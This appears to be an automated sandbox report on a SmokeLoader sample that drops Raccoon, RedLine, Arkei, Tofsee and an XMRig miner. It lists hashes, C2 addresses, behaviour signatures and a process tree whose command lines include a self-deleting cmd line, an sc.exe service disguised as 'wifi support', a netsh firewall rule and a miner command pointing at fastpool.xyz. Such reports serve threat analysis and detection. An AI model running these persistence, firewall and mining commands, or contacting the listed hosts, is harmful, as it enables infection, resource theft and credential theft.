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Analysis

  • max time kernel
    151s
  • max time network
    152s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    27/09/2021, 09:25

General

  • Target

    883233a1ae141a887d763b4cee1fed3a.exe

  • Size

    135KB

  • MD5

    883233a1ae141a887d763b4cee1fed3a

  • SHA1

    265cbafce6bd225dff0f3dd4e2792cd5e55ae677

  • SHA256

    948efd6ebccc98309252dee5d98879890e691fc416e6c3e969190f1273f4d61e

  • SHA512

    ac35bec37f6d011d4fff0cc32a4fbb7d4a6400f2323dbea0f49eefa099b056db9f16e376c8725d0e6edf7beb512edf111970fa993ca611200c6067651de5e546

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://naghenrietti1.top/

http://kimballiett2.top/

http://xadriettany3.top/

http://jebeccallis4.top/

http://nityanneron5.top/

http://umayaniela6.top/

http://lynettaram7.top/

http://sadineyalas8.top/

http://geenaldencia9.top/

http://aradysiusep10.top/

rc4.i32
rc4.i32

Extracted

Family

raccoon

Botnet

a72c96f6762e4258a13dee8bc0dd14557df18467

Attributes
  • url4cnc

    https://t.me/h_wacel1new_1

rc4.plain
rc4.plain

Extracted

Family

redline

C2

92.246.89.6:38437

Extracted

Family

raccoon

Botnet

b2f2e53f9e27f901d453d8f6fbafe1b4d5266bb7

Attributes
  • url4cnc

    https://t.me/hcdrom1

rc4.plain
rc4.plain

Extracted

Family

raccoon

Botnet

c524886d28411e80660e573d1de51f17556d70f6

Attributes
  • url4cnc

    https://t.me/hobabastrepsils

rc4.plain
rc4.plain

Signatures

  • Arkei

    Arkei is an infostealer written in C++.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 4 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Arkei Stealer Payload 1 IoCs
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • XMRig Miner Payload 1 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 18 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 8 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 5 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 2 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies data under HKEY_USERS 14 IoCs
  • Modifies registry class 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 10 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\883233a1ae141a887d763b4cee1fed3a.exe
    "C:\Users\Admin\AppData\Local\Temp\883233a1ae141a887d763b4cee1fed3a.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:808
    • C:\Users\Admin\AppData\Local\Temp\883233a1ae141a887d763b4cee1fed3a.exe
      "C:\Users\Admin\AppData\Local\Temp\883233a1ae141a887d763b4cee1fed3a.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:904
  • C:\Users\Admin\AppData\Local\Temp\CA30.exe
    C:\Users\Admin\AppData\Local\Temp\CA30.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1136
    • C:\Users\Admin\AppData\Local\Temp\CA30.exe
      C:\Users\Admin\AppData\Local\Temp\CA30.exe
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:2608
  • C:\Users\Admin\AppData\Local\Temp\CD10.exe
    C:\Users\Admin\AppData\Local\Temp\CD10.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1184
    • C:\Users\Admin\AppData\Local\Temp\CD10.exe
      C:\Users\Admin\AppData\Local\Temp\CD10.exe
      2⤵
      • Executes dropped EXE
      PID:1876
    • C:\Users\Admin\AppData\Local\Temp\CD10.exe
      C:\Users\Admin\AppData\Local\Temp\CD10.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:3208
  • C:\Users\Admin\AppData\Local\Temp\D3A8.exe
    C:\Users\Admin\AppData\Local\Temp\D3A8.exe
    1⤵
    • Executes dropped EXE
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of AdjustPrivilegeToken
    PID:1892
  • C:\Users\Admin\AppData\Local\Temp\DEC5.exe
    C:\Users\Admin\AppData\Local\Temp\DEC5.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    PID:752
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\DEC5.exe"
      2⤵
        PID:1892
        • C:\Windows\SysWOW64\timeout.exe
          timeout /T 10 /NOBREAK
          3⤵
          • Delays execution with timeout.exe
          PID:1060
    • C:\Users\Admin\AppData\Local\Temp\E984.exe
      C:\Users\Admin\AppData\Local\Temp\E984.exe
      1⤵
      • Executes dropped EXE
      PID:3268
    • C:\Users\Admin\AppData\Local\Temp\F6D3.exe
      C:\Users\Admin\AppData\Local\Temp\F6D3.exe
      1⤵
      • Executes dropped EXE
      • Checks BIOS information in registry
      • Checks whether UAC is enabled
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious use of AdjustPrivilegeToken
      PID:1876
    • C:\Users\Admin\AppData\Local\Temp\FB78.exe
      C:\Users\Admin\AppData\Local\Temp\FB78.exe
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      PID:3964
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 3964 -s 1320
        2⤵
        • Program crash
        • Suspicious use of AdjustPrivilegeToken
        PID:2628
    • C:\Users\Admin\AppData\Local\Temp\A9.exe
      C:\Users\Admin\AppData\Local\Temp\A9.exe
      1⤵
      • Executes dropped EXE
      PID:2036
      • C:\Users\Admin\AppData\Local\Temp\SindonsWelfare_2021-09-26_15-02.exe
        "C:\Users\Admin\AppData\Local\Temp\SindonsWelfare_2021-09-26_15-02.exe"
        2⤵
        • Executes dropped EXE
        PID:3960
      • C:\Users\Admin\AppData\Local\Temp\SolanumsYoghurt_2021-09-26_14-52.exe
        "C:\Users\Admin\AppData\Local\Temp\SolanumsYoghurt_2021-09-26_14-52.exe"
        2⤵
        • Executes dropped EXE
        PID:2464
      • C:\Users\Admin\AppData\Local\Temp\fbf.exe
        "C:\Users\Admin\AppData\Local\Temp\fbf.exe"
        2⤵
        • Executes dropped EXE
        • Adds Run key to start application
        • Enumerates connected drives
        • Checks processor information in registry
        • Suspicious use of SetWindowsHookEx
        PID:1328
    • C:\Users\Admin\AppData\Local\Temp\81C.exe
      C:\Users\Admin\AppData\Local\Temp\81C.exe
      1⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:804
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ubmevsjj\
        2⤵
          PID:2924
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\kngomowg.exe" C:\Windows\SysWOW64\ubmevsjj\
          2⤵
            PID:1060
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" create ubmevsjj binPath= "C:\Windows\SysWOW64\ubmevsjj\kngomowg.exe /d\"C:\Users\Admin\AppData\Local\Temp\81C.exe\"" type= own start= auto DisplayName= "wifi support"
            2⤵
              PID:416
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" description ubmevsjj "wifi internet conection"
              2⤵
                PID:1660
              • C:\Windows\SysWOW64\sc.exe
                "C:\Windows\System32\sc.exe" start ubmevsjj
                2⤵
                  PID:3816
                • C:\Windows\SysWOW64\netsh.exe
                  "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                  2⤵
                    PID:3928
                • C:\Users\Admin\AppData\Local\Temp\101C.exe
                  C:\Users\Admin\AppData\Local\Temp\101C.exe
                  1⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:424
                  • C:\Users\Admin\AppData\Local\Temp\101C.exe
                    "C:\Users\Admin\AppData\Local\Temp\101C.exe"
                    2⤵
                    • Executes dropped EXE
                    PID:1552
                • C:\Windows\SysWOW64\ubmevsjj\kngomowg.exe
                  C:\Windows\SysWOW64\ubmevsjj\kngomowg.exe /d"C:\Users\Admin\AppData\Local\Temp\81C.exe"
                  1⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  PID:3536
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe
                    2⤵
                    • Drops file in System32 directory
                    • Suspicious use of SetThreadContext
                    • Modifies data under HKEY_USERS
                    PID:1900
                    • C:\Windows\SysWOW64\svchost.exe
                      svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                      3⤵
                        PID:2172

                  Network

                  MITRE ATT&CK Enterprise v6

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • memory/424-228-0x0000000005530000-0x000000000554D000-memory.dmp

                    Filesize

                    116KB

                  • memory/424-225-0x0000000000BD0000-0x0000000000BD1000-memory.dmp

                    Filesize

                    4KB

                  • memory/424-231-0x0000000005620000-0x0000000005621000-memory.dmp

                    Filesize

                    4KB

                  • memory/752-150-0x0000000002190000-0x0000000002220000-memory.dmp

                    Filesize

                    576KB

                  • memory/752-151-0x0000000000400000-0x00000000004F1000-memory.dmp

                    Filesize

                    964KB

                  • memory/804-235-0x0000000000600000-0x0000000000613000-memory.dmp

                    Filesize

                    76KB

                  • memory/804-239-0x0000000000400000-0x00000000004AD000-memory.dmp

                    Filesize

                    692KB

                  • memory/808-116-0x0000000000590000-0x0000000000599000-memory.dmp

                    Filesize

                    36KB

                  • memory/904-114-0x0000000000400000-0x0000000000409000-memory.dmp

                    Filesize

                    36KB

                  • memory/1184-127-0x0000000004B80000-0x0000000004B81000-memory.dmp

                    Filesize

                    4KB

                  • memory/1184-129-0x0000000005360000-0x0000000005361000-memory.dmp

                    Filesize

                    4KB

                  • memory/1184-128-0x0000000004E50000-0x0000000004E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/1184-126-0x0000000004BE0000-0x0000000004BE1000-memory.dmp

                    Filesize

                    4KB

                  • memory/1184-124-0x0000000000390000-0x0000000000391000-memory.dmp

                    Filesize

                    4KB

                  • memory/1328-283-0x00000000021C0000-0x000000000227C000-memory.dmp

                    Filesize

                    752KB

                  • memory/1328-284-0x0000000000400000-0x00000000004C4000-memory.dmp

                    Filesize

                    784KB

                  • memory/1552-238-0x0000000000400000-0x0000000000493000-memory.dmp

                    Filesize

                    588KB

                  • memory/1552-229-0x0000000000400000-0x0000000000493000-memory.dmp

                    Filesize

                    588KB

                  • memory/1876-195-0x0000000077240000-0x00000000773CE000-memory.dmp

                    Filesize

                    1.6MB

                  • memory/1876-185-0x00000000003A0000-0x00000000003A1000-memory.dmp

                    Filesize

                    4KB

                  • memory/1876-196-0x0000000005880000-0x0000000005881000-memory.dmp

                    Filesize

                    4KB

                  • memory/1892-137-0x0000000000BC0000-0x0000000000BC1000-memory.dmp

                    Filesize

                    4KB

                  • memory/1892-145-0x0000000005370000-0x0000000005371000-memory.dmp

                    Filesize

                    4KB

                  • memory/1892-141-0x0000000005400000-0x0000000005401000-memory.dmp

                    Filesize

                    4KB

                  • memory/1892-143-0x0000000000930000-0x0000000000931000-memory.dmp

                    Filesize

                    4KB

                  • memory/1892-140-0x00000000031A0000-0x00000000031A1000-memory.dmp

                    Filesize

                    4KB

                  • memory/1892-181-0x0000000007150000-0x0000000007151000-memory.dmp

                    Filesize

                    4KB

                  • memory/1892-177-0x0000000006C30000-0x0000000006C31000-memory.dmp

                    Filesize

                    4KB

                  • memory/1892-176-0x00000000073B0000-0x00000000073B1000-memory.dmp

                    Filesize

                    4KB

                  • memory/1892-175-0x0000000006CB0000-0x0000000006CB1000-memory.dmp

                    Filesize

                    4KB

                  • memory/1892-139-0x0000000005900000-0x0000000005901000-memory.dmp

                    Filesize

                    4KB

                  • memory/1892-142-0x0000000077240000-0x00000000773CE000-memory.dmp

                    Filesize

                    1.6MB

                  • memory/1892-144-0x0000000005330000-0x0000000005331000-memory.dmp

                    Filesize

                    4KB

                  • memory/1892-204-0x0000000007BB0000-0x0000000007BB1000-memory.dmp

                    Filesize

                    4KB

                  • memory/1900-260-0x0000000002D40000-0x0000000002D55000-memory.dmp

                    Filesize

                    84KB

                  • memory/2036-202-0x0000000000300000-0x0000000000301000-memory.dmp

                    Filesize

                    4KB

                  • memory/2464-300-0x00000000024B4000-0x00000000024B6000-memory.dmp

                    Filesize

                    8KB

                  • memory/2464-280-0x00000000024B2000-0x00000000024B3000-memory.dmp

                    Filesize

                    4KB

                  • memory/2464-273-0x00000000004D0000-0x000000000057E000-memory.dmp

                    Filesize

                    696KB

                  • memory/2464-286-0x0000000000400000-0x00000000004CB000-memory.dmp

                    Filesize

                    812KB

                  • memory/2464-291-0x00000000024B3000-0x00000000024B4000-memory.dmp

                    Filesize

                    4KB

                  • memory/2464-275-0x00000000024B0000-0x00000000024B1000-memory.dmp

                    Filesize

                    4KB

                  • memory/3056-117-0x0000000000F90000-0x0000000000FA6000-memory.dmp

                    Filesize

                    88KB

                  • memory/3056-152-0x00000000014F0000-0x0000000001506000-memory.dmp

                    Filesize

                    88KB

                  • memory/3208-153-0x0000000000400000-0x0000000000422000-memory.dmp

                    Filesize

                    136KB

                  • memory/3208-166-0x00000000051E0000-0x00000000057E6000-memory.dmp

                    Filesize

                    6.0MB

                  • memory/3268-170-0x0000000000E30000-0x0000000000E31000-memory.dmp

                    Filesize

                    4KB

                  • memory/3268-169-0x0000000000E20000-0x0000000000E21000-memory.dmp

                    Filesize

                    4KB

                  • memory/3268-173-0x0000000000E60000-0x00000000015F3000-memory.dmp

                    Filesize

                    7.6MB

                  • memory/3268-171-0x0000000000E40000-0x0000000000E41000-memory.dmp

                    Filesize

                    4KB

                  • memory/3268-172-0x0000000000E50000-0x0000000000E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/3268-167-0x0000000000BE0000-0x0000000000BE1000-memory.dmp

                    Filesize

                    4KB

                  • memory/3268-168-0x0000000000C00000-0x0000000000C01000-memory.dmp

                    Filesize

                    4KB

                  • memory/3536-259-0x0000000000400000-0x00000000004AD000-memory.dmp

                    Filesize

                    692KB

                  • memory/3960-272-0x0000000004C30000-0x0000000004C31000-memory.dmp

                    Filesize

                    4KB

                  • memory/3960-277-0x0000000004C32000-0x0000000004C33000-memory.dmp

                    Filesize

                    4KB

                  • memory/3960-282-0x0000000000400000-0x00000000004C5000-memory.dmp

                    Filesize

                    788KB

                  • memory/3960-270-0x00000000004D0000-0x000000000057E000-memory.dmp

                    Filesize

                    696KB

                  • memory/3960-288-0x0000000004C33000-0x0000000004C34000-memory.dmp

                    Filesize

                    4KB

                  • memory/3960-301-0x0000000004C34000-0x0000000004C36000-memory.dmp

                    Filesize

                    8KB

                  • memory/3964-197-0x0000000002060000-0x000000000208D000-memory.dmp

                    Filesize

                    180KB

                  • memory/3964-198-0x0000000000400000-0x000000000044D000-memory.dmp

                    Filesize

                    308KB